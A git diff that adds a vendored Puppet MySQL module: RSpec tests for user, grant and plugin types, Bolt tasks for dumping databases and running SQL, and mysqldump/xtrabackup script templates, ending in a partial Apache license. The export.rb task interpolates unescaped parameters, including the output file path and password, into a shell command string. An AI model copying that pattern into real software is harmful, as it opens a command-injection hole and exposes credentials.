provider.expects(:password_hash).returns('*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5') + provider.password_hash = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5' + end + it 'changes the hash mariadb-10.0' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mariadb-10.0'][:string]) + provider.class.expects(:mysql_caller).with("SET PASSWORD FOR 'joe'@'localhost' = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'", 'system').returns('0') + + provider.expects(:password_hash).returns('*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5') + provider.password_hash = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5' + end + it 'changes the hash percona-5.5' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['percona-5.5'][:string]) + provider.class.expects(:mysql_caller).with("SET PASSWORD FOR 'joe'@'localhost' = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'", 'system').returns('0') + + provider.expects(:password_hash).returns('*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5') + provider.password_hash = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5' + end + end + + describe 'plugin=' do + context 'auth_socket' do + context 'MySQL < 5.7.6' do + it 'changes the authentication plugin' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.1'][:string]) + provider.class.expects(:mysql_caller).with("UPDATE mysql.user SET plugin = 'auth_socket', password = '' WHERE CONCAT(user, '@', host) = 'joe@localhost'", 'system').returns('0') + + provider.expects(:plugin).returns('auth_socket') + provider.plugin = 'auth_socket' + end + end + + context 'MySQL >= 5.7.6' do + it 'changes the authentication plugin' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.6'][:string]) + provider.class.expects(:mysql_caller).with("ALTER USER 'joe'@'localhost' IDENTIFIED WITH 'auth_socket'", 'system').returns('0') + + provider.expects(:plugin).returns('auth_socket') + provider.plugin = 'auth_socket' + end + end + end + + context 'mysql_native_password' do + context 'MySQL < 5.7.6' do + it 'changes the authentication plugin' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.1'][:string]) + provider.class.expects(:mysql_caller).with("UPDATE mysql.user SET plugin = 'mysql_native_password', password = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4' WHERE CONCAT(user, '@', host) = 'joe@localhost'", 'system').returns('0') # rubocop:disable Metrics/LineLength + + provider.expects(:plugin).returns('mysql_native_password') + provider.plugin = 'mysql_native_password' + end + end + + context 'MySQL >= 5.7.6' do + it 'changes the authentication plugin' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.6'][:string]) + provider.class.expects(:mysql_caller).with("ALTER USER 'joe'@'localhost' IDENTIFIED WITH 'mysql_native_password' AS '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4'", 'system').returns('0') # rubocop:disable Metrics/LineLength + + provider.expects(:plugin).returns('mysql_native_password') + provider.plugin = 'mysql_native_password' + end + end + end + # rubocop:enable RSpec/NestedGroups + end + + describe 'tls_options=' do + it 'adds SSL option grant in mysql 5.5' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.5'][:string]) + provider.class.expects(:mysql_caller).with("GRANT USAGE ON *.* TO 'joe'@'localhost' REQUIRE NONE", 'system').returns('0') + + provider.expects(:tls_options).returns(['NONE']) + provider.tls_options = ['NONE'] + end + it 'adds SSL option grant in mysql 5.6' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.6'][:string]) + provider.class.expects(:mysql_caller).with("GRANT USAGE ON *.* TO 'joe'@'localhost' REQUIRE NONE", 'system').returns('0') + + provider.expects(:tls_options).returns(['NONE']) + provider.tls_options = ['NONE'] + end + it 'adds SSL option grant in mysql < 5.7.6' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.1'][:string]) + provider.class.expects(:mysql_caller).with("GRANT USAGE ON *.* TO 'joe'@'localhost' REQUIRE NONE", 'system').returns('0') + + provider.expects(:tls_options).returns(['NONE']) + provider.tls_options = ['NONE'] + end + it 'adds SSL option grant in mysql >= 5.7.6' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.6'][:string]) + provider.class.expects(:mysql_caller).with("ALTER USER 'joe'@'localhost' REQUIRE NONE", 'system').returns('0') + + provider.expects(:tls_options).returns(['NONE']) + provider.tls_options = ['NONE'] + end + it 'adds SSL option grant in mariadb-10.0' do + provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mariadb-10.0'][:string]) + provider.class.expects(:mysql_caller).with("GRANT USAGE ON *.* TO 'joe'@'localhost' REQUIRE NONE", 'system').returns('0') + + provider.expects(:tls_options).returns(['NONE']) + provider.tls_options = ['NONE'] + end + end + + %w[max_user_connections max_connections_per_hour max_queries_per_hour + max_updates_per_hour].each do |property| + + describe property do + it "returns #{property}" do + expect(instance.send(property.to_s.to_sym)).to eq('10') + end + end + + describe "#{property}=" do + it "changes #{property}" do + provider.class.expects(:mysql_caller).with("GRANT USAGE ON *.* TO 'joe'@'localhost' WITH #{property.upcase} 42", 'system').returns('0') + provider.expects(property.to_sym).returns('42') + provider.send("#{property}=".to_sym, '42') + end + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_database_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_database_spec.rb new file mode 100644 index 000000000..9594d0b58 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_database_spec.rb @@ -0,0 +1,25 @@ +require 'puppet' +require 'puppet/type/mysql_database' +describe Puppet::Type.type(:mysql_database) do + let(:user) { Puppet::Type.type(:mysql_database).new(name: 'test', charset: 'utf8', collate: 'utf8_blah_ci') } + + it 'accepts a database name' do + expect(user[:name]).to eq('test') + end + + it 'accepts a charset' do + user[:charset] = 'latin1' + expect(user[:charset]).to eq('latin1') + end + + it 'accepts a collate' do + user[:collate] = 'latin1_swedish_ci' + expect(user[:collate]).to eq('latin1_swedish_ci') + end + + it 'requires a name' do + expect { + Puppet::Type.type(:mysql_database).new({}) + }.to raise_error(Puppet::Error, 'Title or name must be provided') + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_grant_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_grant_spec.rb new file mode 100644 index 000000000..793f1a029 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_grant_spec.rb @@ -0,0 +1,102 @@ +require 'puppet' +require 'puppet/type/mysql_grant' +require 'spec_helper' +describe Puppet::Type.type(:mysql_grant) do + let(:user) { Puppet::Type.type(:mysql_grant).new(name: 'foo@localhost/*.*', privileges: ['ALL'], table: ['*.*'], user: 'foo@localhost') } + + it 'accepts a grant name' do + expect(user[:name]).to eq('foo@localhost/*.*') + end + + it 'accepts ALL privileges' do + user[:privileges] = 'ALL' + expect(user[:privileges]).to eq(['ALL']) + end + + context 'PROXY privilege with mysql greater than or equal to 5.5.0' do + before :each do + Facter.stubs(:value).with(:mysql_version).returns('5.5.0') + end + + it 'does not raise error' do + user[:privileges] = 'PROXY' + user[:table] = 'proxy_user@proxy_host' + expect(user[:privileges]).to eq(['PROXY']) + end + end + + context 'PROXY privilege with mysql greater than or equal to 5.4.0' do + before :each do + Facter.stubs(:value).with(:mysql_version).returns('5.4.0') + end + + it 'raises error' do + expect { + user[:privileges] = 'PROXY' + }.to raise_error(Puppet::ResourceError, %r{PROXY user not supported on mysql versions < 5.5.0}) + end + end + + it 'accepts a table' do + user[:table] = '*.*' + expect(user[:table]).to eq('*.*') + end + + it 'accepts @ for table' do + user[:table] = '@' + expect(user[:table]).to eq('@') + end + + it 'accepts proxy user for table' do + user[:table] = 'proxy_user@proxy_host' + expect(user[:table]).to eq('proxy_user@proxy_host') + end + + it 'accepts a user' do + user[:user] = 'foo@localhost' + expect(user[:user]).to eq('foo@localhost') + end + + it 'requires a name' do + expect { + Puppet::Type.type(:mysql_grant).new({}) + }.to raise_error(Puppet::Error, 'Title or name must be provided') + end + + it 'requires the name to match the user and table #general' do + expect { + Puppet::Type.type(:mysql_grant).new(name: 'foo@localhost/*.*', privileges: ['ALL'], table: ['*.*'], user: 'foo@localhost') + }.not_to raise_error + end + it 'requires the name to match the user and table #specific' do + expect { + Puppet::Type.type(:mysql_grant).new(name: 'foo', privileges: ['ALL'], table: ['*.*'], user: 'foo@localhost') + }.to raise_error %r{`name` `parameter` must match user@host\/table format} + end + + describe 'it should munge privileges' do + it 'to just ALL' do + user = Puppet::Type.type(:mysql_grant).new( + name: 'foo@localhost/*.*', table: ['*.*'], user: 'foo@localhost', + privileges: ['ALL'] + ) + expect(user[:privileges]).to eq(['ALL']) + end + + it 'to upcase and ordered' do + user = Puppet::Type.type(:mysql_grant).new( + name: 'foo@localhost/*.*', table: ['*.*'], user: 'foo@localhost', + privileges: %w[select Insert] + ) + expect(user[:privileges]).to eq(%w[INSERT SELECT]) + end + + it 'ordered including column privileges' do + user = Puppet::Type.type(:mysql_grant).new( + name: 'foo@localhost/*.*', table: ['*.*'], user: 'foo@localhost', + privileges: ['SELECT(Host,Address)', 'Insert'] + ) + expect(user[:privileges]).to eq(['INSERT', 'SELECT (Address, Host)']) + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb new file mode 100644 index 000000000..d89be2513 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_plugin_spec.rb @@ -0,0 +1,20 @@ +require 'puppet' +require 'puppet/type/mysql_plugin' +describe Puppet::Type.type(:mysql_plugin) do + let(:plugin) { Puppet::Type.type(:mysql_plugin).new(name: 'test', soname: 'test.so') } + + it 'accepts a plugin name' do + expect(plugin[:name]).to eq('test') + end + + it 'accepts a library name' do + plugin[:soname] = 'test.so' + expect(plugin[:soname]).to eq('test.so') + end + + it 'requires a name' do + expect { + Puppet::Type.type(:mysql_plugin).new({}) + }.to raise_error(Puppet::Error, 'Title or name must be provided') + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_user_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_user_spec.rb new file mode 100644 index 000000000..0c900b0c7 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/type/mysql_user_spec.rb @@ -0,0 +1,123 @@ +require 'puppet' +require 'puppet/type/mysql_user' +require 'spec_helper' +describe Puppet::Type.type(:mysql_user) do + context 'On MySQL 5.x' do + before :each do + Facter.stubs(:value).with(:mysql_version).returns('5.6.24') + end + + it 'fails with a long user name' do + expect { + Puppet::Type.type(:mysql_user).new(name: '12345678901234567@localhost', password_hash: 'pass') + }.to raise_error %r{MySQL usernames are limited to a maximum of 16 characters} + end + end + + context 'On MariaDB 10.0.0+' do + let(:user) { Puppet::Type.type(:mysql_user).new(name: '12345678901234567@localhost', password_hash: 'pass') } + + before :each do + Facter.stubs(:value).with(:mysql_version).returns('10.0.19') + end + + it 'succeeds with a long user name on MariaDB' do + expect(user[:name]).to eq('12345678901234567@localhost') + end + end + + it 'requires a name' do + expect { + Puppet::Type.type(:mysql_user).new({}) + }.to raise_error(Puppet::Error, 'Title or name must be provided') + end + + context 'using foo@localhost' do + let(:user) { Puppet::Type.type(:mysql_user).new(name: 'foo@localhost', password_hash: 'pass') } + + it 'accepts a user name' do + expect(user[:name]).to eq('foo@localhost') + end + + it 'accepts a password' do + user[:password_hash] = 'foo' + expect(user[:password_hash]).to eq('foo') + end + end + + context 'using foo@LocalHost' do + let(:user) { Puppet::Type.type(:mysql_user).new(name: 'foo@LocalHost', password_hash: 'pass') } + + it 'lowercases the user name' do + expect(user[:name]).to eq('foo@localhost') + end + end + + context 'using foo@192.168.1.0/255.255.255.0' do + let(:user) { Puppet::Type.type(:mysql_user).new(name: 'foo@192.168.1.0/255.255.255.0', password_hash: 'pass') } + + it 'creates the user with the netmask' do + expect(user[:name]).to eq('foo@192.168.1.0/255.255.255.0') + end + end + + context 'using allo_wed$char@localhost' do + let(:user) { Puppet::Type.type(:mysql_user).new(name: 'allo_wed$char@localhost', password_hash: 'pass') } + + it 'accepts a user name' do + expect(user[:name]).to eq('allo_wed$char@localhost') + end + end + + context 'ensure the default \'debian-sys-main\'@localhost user can be parsed' do + let(:user) { Puppet::Type.type(:mysql_user).new(name: '\'debian-sys-maint\'@localhost', password_hash: 'pass') } + + it 'accepts a user name' do + expect(user[:name]).to eq('\'debian-sys-maint\'@localhost') + end + end + + context 'using a quoted 16 char username' do + let(:user) { Puppet::Type.type(:mysql_user).new(name: '"debian-sys-maint"@localhost', password_hash: 'pass') } + + it 'accepts a user name' do + expect(user[:name]).to eq('"debian-sys-maint"@localhost') + end + end + + context 'using a quoted username that is too long ' do + before :each do + Facter.stubs(:value).with(:mysql_version).returns('5.6.24') + end + + it 'fails with a size error' do + expect { + Puppet::Type.type(:mysql_user).new(name: '"debian-sys-maint2"@localhost', password_hash: 'pass') + }.to raise_error %r{MySQL usernames are limited to a maximum of 16 characters} + end + end + + context 'using `speci!al#`@localhost' do + let(:user) { Puppet::Type.type(:mysql_user).new(name: '`speci!al#`@localhost', password_hash: 'pass') } + + it 'accepts a quoted user name with special chatracters' do + expect(user[:name]).to eq('`speci!al#`@localhost') + end + end + + context 'using in-valid@localhost' do + let(:user) { Puppet::Type.type(:mysql_user).new(name: 'in-valid@localhost', password_hash: 'pass') } + + it 'accepts a user name with special chatracters' do + expect(user[:name]).to eq('in-valid@localhost') + end + end + + context 'using "misquoted@localhost' do + it 'fails with a misquoted username is used' do + expect { + Puppet::Type.type(:mysql_user).new(name: '"misquoted@localhost', password_hash: 'pass') + }.to raise_error %r{Invalid database user "misquoted@localhost} + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/export.json b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/export.json new file mode 100644 index 000000000..679b3d672 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/export.json @@ -0,0 +1,22 @@ +{ + "description": "Allows you to backup your database to local file.", + "input_method": "stdin", + "parameters": { + "database": { + "description": "Database to connect to", + "type": "Optional[String[1]]" + }, + "user": { + "description": "The user", + "type": "Optional[String[1]]" + }, + "password": { + "description": "The password", + "type": "Optional[String[1]]" + }, + "file": { + "description": "Path to file you want backup to", + "type": "String[1]" + } + } +} diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/export.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/export.rb new file mode 100755 index 000000000..efd9d8126 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/export.rb @@ -0,0 +1,30 @@ +#!/opt/puppetlabs/puppet/bin/ruby +require 'json' +require 'open3' +require 'puppet' + +def get(file, database, user, password) + cmd_string = 'mysqldump' + cmd_string << " --databases #{database}" unless database.nil? + cmd_string << " --user=#{user}" unless user.nil? + cmd_string << " --password=#{password}" unless password.nil? + cmd_string << " > #{file}" unless file.nil? + stdout, _stderr, status = Open3.capture3(cmd_string) + raise Puppet::Error, _("stderr: ' %{stderr}') % { stderr: stderr }") if status != 0 + { status: stdout.strip } +end + +params = JSON.parse(STDIN.read) +database = params['database'] +user = params['user'] +password = params['password'] +file = params['file'] + +begin + result = get(file, database, user, password) + puts result.to_json + exit 0 +rescue Puppet::Error => e + puts({ status: 'failure', error: e.message }.to_json) + exit 1 +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/sql.json b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/sql.json new file mode 100644 index 000000000..81f2e79fc --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/sql.json @@ -0,0 +1,22 @@ +{ + "description": "Allows you to execute arbitary SQL", + "input_method": "stdin", + "parameters": { + "database": { + "description": "Database to connect to", + "type": "Optional[String[1]]" + }, + "user": { + "description": "The user", + "type": "Optional[String[1]]" + }, + "password": { + "description": "The password", + "type": "Optional[String[1]]" + }, + "sql": { + "description": "The SQL you want to execute", + "type": "String[1]" + } + } +} diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/sql.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/sql.rb new file mode 100755 index 000000000..29b2c6bda --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/tasks/sql.rb @@ -0,0 +1,29 @@ +#!/opt/puppetlabs/puppet/bin/ruby +require 'json' +require 'open3' +require 'puppet' + +def get(sql, database, user, password) + cmd = ['mysql', '-e', "#{sql} "] + cmd << "--database=#{database}" unless database.nil? + cmd << "--user=#{user}" unless user.nil? + cmd << "--password=#{password}" unless password.nil? + stdout, stderr, status = Open3.capture3(*cmd) # rubocop:disable Lint/UselessAssignment + raise Puppet::Error, _("stderr: ' %{stderr}') % { stderr: stderr }") if status != 0 + { status: stdout.strip } +end + +params = JSON.parse(STDIN.read) +database = params['database'] +user = params['user'] +password = params['password'] +sql = params['sql'] + +begin + result = get(sql, database, user, password) + puts result.to_json + exit 0 +rescue Puppet::Error => e + puts({ status: 'failure', error: e.message }.to_json) + exit 1 +end diff --git a/modules/services/unix/database/mysql/templates/meb.cnf.erb b/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/meb.cnf.erb similarity index 100% rename from modules/services/unix/database/mysql/templates/meb.cnf.erb rename to modules/services/unix/database/mysql_stretch_compatible/mysql/templates/meb.cnf.erb diff --git a/modules/services/unix/database/mysql/templates/my.cnf.erb b/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/my.cnf.erb similarity index 100% rename from modules/services/unix/database/mysql/templates/my.cnf.erb rename to modules/services/unix/database/mysql_stretch_compatible/mysql/templates/my.cnf.erb diff --git a/modules/services/unix/database/mysql/templates/my.cnf.pass.erb b/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/my.cnf.pass.erb similarity index 100% rename from modules/services/unix/database/mysql/templates/my.cnf.pass.erb rename to modules/services/unix/database/mysql_stretch_compatible/mysql/templates/my.cnf.pass.erb diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/mysqlbackup.sh.erb b/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/mysqlbackup.sh.erb new file mode 100755 index 000000000..9a9df12d1 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/mysqlbackup.sh.erb @@ -0,0 +1,114 @@ +<%- if @kernel == 'Linux' -%> +#!/bin/bash +<%- else -%> +#!/bin/sh +<%- end -%> +# +# MySQL Backup Script +# Dumps mysql databases to a file for another backup tool to pick up. +# +# MySQL code: +# GRANT SELECT, RELOAD, LOCK TABLES ON *.* TO 'user'@'localhost' +# IDENTIFIED BY 'password'; +# FLUSH PRIVILEGES; +# +##### START CONFIG ################################################### + +USER=<%= @backupuser %> +PASS='<%= @backuppassword %>' +MAX_ALLOWED_PACKET=<%= @maxallowedpacket %> +DIR=<%= @backupdir %> +ROTATE=<%= [ Integer(@backuprotate) - 1, 0 ].max %> + +# Create temporary mysql cnf file. +TMPFILE=`mktemp /tmp/backup.XXXXXX` || exit 1 +<%- if @kernel == 'SunOS' -%> +echo "[client]\npassword=$PASS\nuser=$USER\nmax_allowed_packet=$MAX_ALLOWED_PACKET" > $TMPFILE +<%- else -%> +echo -e "[client]\npassword=$PASS\nuser=$USER\nmax_allowed_packet=$MAX_ALLOWED_PACKET" > $TMPFILE +<%- end -%> + + +# Ensure backup directory exist. +mkdir -p $DIR + +PREFIX=mysql_backup_ +<% if @ignore_events %> +ADDITIONAL_OPTIONS="--ignore-table=mysql.event" +<% else %> +ADDITIONAL_OPTIONS="--events" +<% end %> +<%# Only include routines or triggers if we're doing a file per database -%> +<%# backup. This happens if we named databases, or if we explicitly set -%> +<%# file per database mode -%> +<% if !@backupdatabases.empty? || @file_per_database -%> +<% if @include_triggers -%> +ADDITIONAL_OPTIONS="$ADDITIONAL_OPTIONS --triggers" +<% else -%> +ADDITIONAL_OPTIONS="$ADDITIONAL_OPTIONS --skip-triggers" +<% end -%> +<% if @include_routines -%> +ADDITIONAL_OPTIONS="$ADDITIONAL_OPTIONS --routines" +<% else -%> +ADDITIONAL_OPTIONS="$ADDITIONAL_OPTIONS --skip-routines" +<% end -%> +<% end -%> + +##### STOP CONFIG #################################################### +PATH=<%= @execpath %> + + + +<%- if @kernel == 'Linux' -%> +set -o pipefail +<%- end -%> + +cleanup() +{ +<%- if @kernel == 'SunOS' -%> + gfind "${DIR}/" -maxdepth 1 -type f -name "${PREFIX}*.sql*" -mtime +${ROTATE} -print0 | gxargs -0 -r rm -f +<%- else -%> + find "${DIR}/" -maxdepth 1 -type f -name "${PREFIX}*.sql*" -mtime +${ROTATE} -print0 | xargs -0 -r rm -f +<%- end -%> +} + +<% if @delete_before_dump -%> +cleanup + +<% end -%> +<% if @backupdatabases.empty? -%> +<% if @file_per_database -%> +mysql --defaults-extra-file=$TMPFILE -s -r -N -e 'SHOW DATABASES' | while read dbname +do + mysqldump --defaults-extra-file=$TMPFILE --opt --flush-logs --single-transaction \ + ${ADDITIONAL_OPTIONS} \ + ${dbname} <% if @backupcompress %>| bzcat -zc <% end %>> ${DIR}/${PREFIX}${dbname}_`date +%Y%m%d-%H%M%S`.sql<% if @backupcompress %>.bz2<% end %> +done +<% else -%> +mysqldump --defaults-extra-file=$TMPFILE --opt --flush-logs --single-transaction \ + ${ADDITIONAL_OPTIONS} \ + --all-databases <% if @backupcompress %>| bzcat -zc <% end %>> ${DIR}/${PREFIX}`date +%Y%m%d-%H%M%S`.sql<% if @backupcompress %>.bz2<% end %> +<% end -%> +<% else -%> +<% @backupdatabases.each do |db| -%> +mysqldump --defaults-extra-file=$TMPFILE --opt --flush-logs --single-transaction \ + ${ADDITIONAL_OPTIONS} \ + <%= db %><% if @backupcompress %>| bzcat -zc <% end %>> ${DIR}/${PREFIX}<%= db %>_`date +%Y%m%d-%H%M%S`.sql<% if @backupcompress %>.bz2<% end %> +<% end -%> +<% end -%> + +<% unless @delete_before_dump -%> +if [ $? -eq 0 ] ; then + cleanup + touch /tmp/mysqlbackup_success +fi +<% end -%> + +<% if @postscript -%> + <%- [@postscript].flatten.compact.each do |script|%> +<%= script %> + <%- end -%> +<% end -%> + +# Remove temporary file +rm -f $TMPFILE diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/xtrabackup.sh.erb b/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/xtrabackup.sh.erb new file mode 100644 index 000000000..85d31f13d --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/templates/xtrabackup.sh.erb @@ -0,0 +1,37 @@ +<%- if @kernel == 'Linux' -%> +#!/bin/bash +<%- else -%> +#!/bin/sh +<%- end -%> +# +# A wrapper for Xtrabackup +# +<% if @prescript -%> + <%- [@prescript].flatten.compact.each do |script| %> +<%= script %> + <%- end -%> +<% end -%> + +<%- _innobackupex_args = '' -%> + +<%- if @backupuser and @backuppassword -%> + <%- _innobackupex_args = '--user="' + @backupuser + '" --password="' + @backuppassword + '"' -%> +<%- end -%> + +<%- if @backupdatabases and @backupdatabases.is_a?(Array) and !@backupdatabases.empty? -%> + <%- _innobackupex_args = _innobackupex_args + ' --databases="' + @backupdatabases.join(' ') + '"' -%> +<%- end -%> + +<%- if @optional_args and @optional_args.is_a?(Array) -%> + <%- @optional_args.each do |arg| -%> + <%- _innobackupex_args = _innobackupex_args + ' ' + arg -%> + <%- end -%> +<%- end -%> + +innobackupex <%= _innobackupex_args %> "$@" + +<% if @postscript -%> + <%- [@postscript].flatten.compact.each do |script| %> +<%= script %> + <%- end -%> +<% end -%> diff --git a/modules/services/unix/database/mysql/CHANGELOG.md b/modules/services/unix/database/mysql_wheezy_compatible/mysql/CHANGELOG.md similarity index 100% rename from modules/services/unix/database/mysql/CHANGELOG.md rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/CHANGELOG.md diff --git a/modules/services/unix/database/mysql/CONTRIBUTING.md b/modules/services/unix/database/mysql_wheezy_compatible/mysql/CONTRIBUTING.md similarity index 100% rename from modules/services/unix/database/mysql/CONTRIBUTING.md rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/CONTRIBUTING.md diff --git a/modules/services/unix/database/mysql/Gemfile b/modules/services/unix/database/mysql_wheezy_compatible/mysql/Gemfile similarity index 100% rename from modules/services/unix/database/mysql/Gemfile rename to modules/services/unix/database/mysql_wheezy_compatible/mysql/Gemfile diff --git a/modules/services/unix/database/mysql_wheezy_compatible/mysql/LICENSE b/modules/services/unix/database/mysql_wheezy_compatible/mysql/LICENSE new file mode 100644 index 000000000..d64569567 --- /dev/null +++ b/modules/services/unix/database/mysql_wheezy_compatible/mysql/LICENSE @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use 